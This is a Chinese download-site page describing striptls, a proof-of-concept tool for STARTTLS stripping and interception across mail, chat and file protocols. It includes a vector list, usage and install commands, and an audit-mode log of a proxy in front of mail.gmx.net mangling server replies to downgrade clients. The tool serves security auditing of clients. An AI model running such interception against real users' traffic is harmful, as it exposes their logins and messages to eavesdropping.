资料介绍
软件简介
STARTTLS 是对纯文本通信协议的扩展。它提供一种方式将纯文本连接升级为加密连接(TLS或SSL),而不是另外使用一个端口作加密通信。
striptls是一款端口剥离攻击的POC实现
SMTP
SMTP.StripFromCapabilities - server response capability patchSMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response codeSMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)SMTP.StripWithTemporaryErrorSMTP.StripWithErrorSMTP.ProtocolDowngradeStripExtendedModeSMTP.InjectCommand
POP3
POP3.StripFromCapabilitiesPOP3.StripWithErrorPOP3.UntrustedIntercept
IMAP
IMAP.StripFromCapabilitiesIMAP.StripWithErrorIMAP.UntrustedInterceptIMAP.ProtocolDowngradeToV2
FTP
FTP.StripFromCapabilitiesFTP.StripWithErrorFTP.UntrustedIntercept
NNTP
NNTP.StripFromCapabilitiesNNTP.StripWithErrorNNTP.UntrustedIntercept
XMPP
XMPP.StripFromCapabilities XMPP.StripInboundTLS XMPP.UntrustedIntercept ACAP (untested) ACAP.StripFromCapabilities ACAP.StripWithError ACAP.UntrustedIntercept
IRC
IRC.StripFromCapabilitiesIRC.StripWithErrorIRC.UntrustedInterceptIRC.StripWithNotRegisteredIRC.StripCAPWithNotregisteredIRC.StripWithSilentDrop
结果:
- [*] client: 127.0.0.1- [Vulnerable!]- [Vulnerable!] - [ ] - [Vulnerable!] - [*] client: 192.168.139.1- [Vulnerable!] - [Vulnerable!] - [Vulnerable!]
实例:
#> python -m striptls --help # from pip/setup.py#> python striptls --help # from source / root folderUsage: striptls [options] example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25Options: -h, --help show this help message and exit -v, --verbose make lots of noise [default] -l LISTEN, --listen=LISTENlisten ip:port [default: 0.0.0.0:] -r REMOTE, --remote=REMOTE remote target ip:port to forward sessions to -k KEY, --key=KEY SSL Certificate and Private key file to use, PEMformat assumed [default: server.pem] -x VECTORS, --vectors=VECTORS Comma separated list of vectors. Use 'ALL' (default) to select all vectors. Available vectors: FTP.StripFromCapabilities, FTP.StripWithError, FTP.UntrustedIntercept, IMAP.StripFromCapabilities, IMAP.StripWithError, IMAP.UntrustedIntercept, NNTP.StripFromCapabilities, NNTP.StripWithError, NNTP.UntrustedIntercept, POP3.StripFromCapabilities, POP3.StripWithError, POP3.UntrustedIntercept, SMTP.ProtocolDowngradeStripExtendedMode, SMTP.StripFromCapabilities, SMTP.StripWithError, SMTP.StripWithInvalidResponseCode, SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept, XMPP.StripFromCapabilities, XMPP.StripInboundTLS, XMPP.UntrustedIntercept [default: ALL]
安装:
1.从pip安装
#> pip install striptls
2.从源安装
#> setup.py install
示例:
inbound outbound [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target] smtp-client striptls remote/target
本地 smtp-client
-> localhost:8825
(代理) -> mail.gmx.net:25
审计模式:
在特定的情况下遍历所有协议并且跟踪违反starttls协议的客户端。你可以选择按Ctrl + C来中止审核并打印结果。
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
2016-02-02 22:11:56,275 - INFO - ready.
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP):
2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP):
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP):
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP):
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP):
2016-02-02 22:11:56,276 - DEBUG - * added test (port:5222 , proto: XMPP):
2016-02-02 22:11:56,276 - INFO - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}>
2016-02-02 22:12:08,477 - DEBUG - - protocol detected (target port)
2016-02-02 22:12:08,530 - INFO - client ('127.0.0.1', 28902) has connected
2016-02-02 22:12:08,530 - INFO - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:08,805 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:08,805 - DEBUG -
2016-02-02 22:12:09,759 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:09,850 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,851 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - [client] <= [server][mangled] '200 STRIPTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - [client] => [server][mangled] None
2016-02-02 22:12:09,883 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n'
2016-02-02 22:12:09,983 - DEBUG - [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:09,992 - DEBUG - [client] => [server] 'rset\r\n'
2016-02-02 22:12:10,100 - DEBUG - [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:10,116 - WARNING - terminated.
2016-02-02 22:12:13,056 - DEBUG - - protocol detected (target port)
2016-02-02 22:12:13,056 - INFO - client ('127.0.0.1', 28905) has connected
2016-02-02 22:12:13,057 - INFO - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:13,241 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:13,241 - DEBUG -
2016-02-02 22:12:14,197 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:14,289 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:14,304 - DEBUG - [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:14,305 - DEBUG - [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
2016-02-02 22:12:14,305 - DEBUG - [client] => [server][mangled] None
2016-02-02 22:12:14,320 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n'
2016-02-02 22:12:14,411 - DEBUG - [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:14,415 - DEBUG - [client] => [server] 'rset\r\n'
2016-02-02 22:12:14,520 - DEBUG - [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:14,535 - WARNING - terminated.
2016-02-02 22:12:16,649 - DEBUG - - protocol detected (target port)
2016-02-02 22:12:16,650 - INFO - client ('127.0.0.1', 28908) has connected
2016-02-02 22:12:16,650 - INFO - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:16,820 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:16,820 - DEBUG -
2016-02-02 22:12:17,760 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:17,849 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:17,849 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
2016-02-02 22:12:17,871 - WARNING - terminated.
2016-02-02 22:12:20,071 - DEBUG - - protocol detected (target port)
2016-02-02 22:12:20,072 - INFO - client ('127.0.0.1', 28911) has connected
2016-02-02 22:12:20,072 - INFO - connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:20,239 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:20,240 - DEBUG -
2016-02-02 22:12:21,181 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:21,269 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:21,280 - DEBUG - [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:21,281 - DEBUG - [client] <= [server][mangled] '501 Syntax error\r\n'
2016-02-02 22:12:21,281 - DEBUG - [client] => [server][mangled] None
2016-02-02 22:12:21,289 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n'
2016-02-02 22:12:21,381 - DEBUG - [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:21,386 - DEBUG - [client] => [server] 'rset\r\n'
2016-02-02 22:12:21,469 - DEBUG - [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:21,485 - WARNING - terminated.
2016-02-02 22:12:23,665 - WARNING - Ctrl C - Stopping server
2016-02-02 22:12:23,665 - INFO - -- audit results --
2016-02-02 22:12:23,666 - INFO - [*] client: 127.0.0.1
2016-02-02 22:12:23,666 - INFO - [Vulnerable!]
2016-02-02 22:12:23,666 - INFO - [Vulnerable!]
2016-02-02 22:12:23,666 - INFO - [ ]
2016-02-02 22:12:23,666 - INFO - [Vulnerable!]
除了审计模式外还有从服务端剥离starttls、无效化starttls响应、不可行的ssl链接(对于客户端则是不在检验服务端的证书是否可信)以及XMPP的追踪审计的功能。
- 基于代理的航天器自主健康故障仿真验证系统 11次下载
- 基于群签名算法的云共享数据完整性审计 7次下载
- 云数据的存储安全审计机制综述 6次下载
- 可减少存储负荷和成本的无证书公开审计方案 5次下载
- 说一说蓝牙mesh代理服务资料下载
- 一种多用户多副本云端数据公开审计方案 10次下载
- 面向公有云的数据完整性公开审计方案 3次下载
- 云存储中数据完整性的聚合盲审计方法 0次下载
- 基于关联规则挖掘的安全审计系统 0次下载
- 具有隐私保护的云存储数据公共审计方案 0次下载
- 基于Apache的财务辅助审计软件开发 0次下载
- 代码审计基础 2次下载
- vpn代理服务器_VPN代理软件下载 111次下载
- 一新型网络内容审计和监控系统模型设计
- 代理签名者身份保护的代理签名体制
- 如何使用nginx反向代理功能?保姆级教程! 380次阅读
- 渗透必备:使用Proxifier玩转代理 1.4w次阅读
- 设计模式中代理模式的使用场景 742次阅读
- JDK动态代理的原理 451次阅读
- javaassit如何实现代对目标类的代理 833次阅读
- 堡垒机是什么? 堡垒机(运维审计系统)的基本原理 1.1w次阅读
- LightProxy全能代理抓包工具 1759次阅读
- Golang实现一个简单的http代理 1336次阅读
- 安卓端免代理抓包 4093次阅读
- 利用网络代理扩展1-Wire范围 565次阅读
- Mybatis的SQL注入审计的基本方法 1191次阅读
- GoF设计模式之代理模式 791次阅读
- http代理概述及代码实现方法 3530次阅读
- 如何让爬虫更简单的使用这些代理? 4617次阅读
- 适配器模式和代理模式的区别 5232次阅读
下载排行
本周
- 1山景DSP芯片AP8248A2数据手册
- 1.06 MB | 532次下载 | 免费
- 2RK3399完整板原理图(支持平板,盒子VR)
- 3.28 MB | 339次下载 | 免费
- 3TC358743XBG评估板参考手册
- 1.36 MB | 330次下载 | 免费
- 4DFM软件使用教程
- 0.84 MB | 295次下载 | 免费
- 5元宇宙深度解析—未来的未来-风口还是泡沫
- 6.40 MB | 227次下载 | 免费
- 6迪文DGUS开发指南
- 31.67 MB | 194次下载 | 免费
- 7元宇宙底层硬件系列报告
- 13.42 MB | 182次下载 | 免费
- 8FP5207XR-G1中文应用手册
- 1.09 MB | 178次下载 | 免费
本月
- 1OrCAD10.5下载OrCAD10.5中文版软件
- 0.00 MB | 234315次下载 | 免费
- 2555集成电路应用800例(新编版)
- 0.00 MB | 33566次下载 | 免费
- 3接口电路图大全
- 未知 | 30323次下载 | 免费
- 4开关电源设计实例指南
- 未知 | 21549次下载 | 免费
- 5电气工程师手册免费下载(新编第二版pdf电子书)
- 0.00 MB | 15349次下载 | 免费
- 6数字电路基础pdf(下载)
- 未知 | 13750次下载 | 免费
- 7电子制作实例集锦 下载
- 未知 | 8113次下载 | 免费
- 8《LED驱动电路设计》 温德尔著
- 0.00 MB | 6656次下载 | 免费
总榜
- 1matlab软件下载入口
- 未知 | 935054次下载 | 免费
- 2protel99se软件下载(可英文版转中文版)
- 78.1 MB | 537798次下载 | 免费
- 3MATLAB 7.1 下载 (含软件介绍)
- 未知 | 420027次下载 | 免费
- 4OrCAD10.5下载OrCAD10.5中文版软件
- 0.00 MB | 234315次下载 | 免费
- 5Altium DXP2002下载入口
- 未知 | 233046次下载 | 免费
- 6电路仿真软件multisim 10.0免费下载
- 340992 | 191187次下载 | 免费
- 7十天学会AVR单片机与C语言视频教程 下载
- 158M | 183279次下载 | 免费
- 8proe5.0野火版下载(中文版免费下载)
- 未知 | 138040次下载 | 免费
评论
查看更多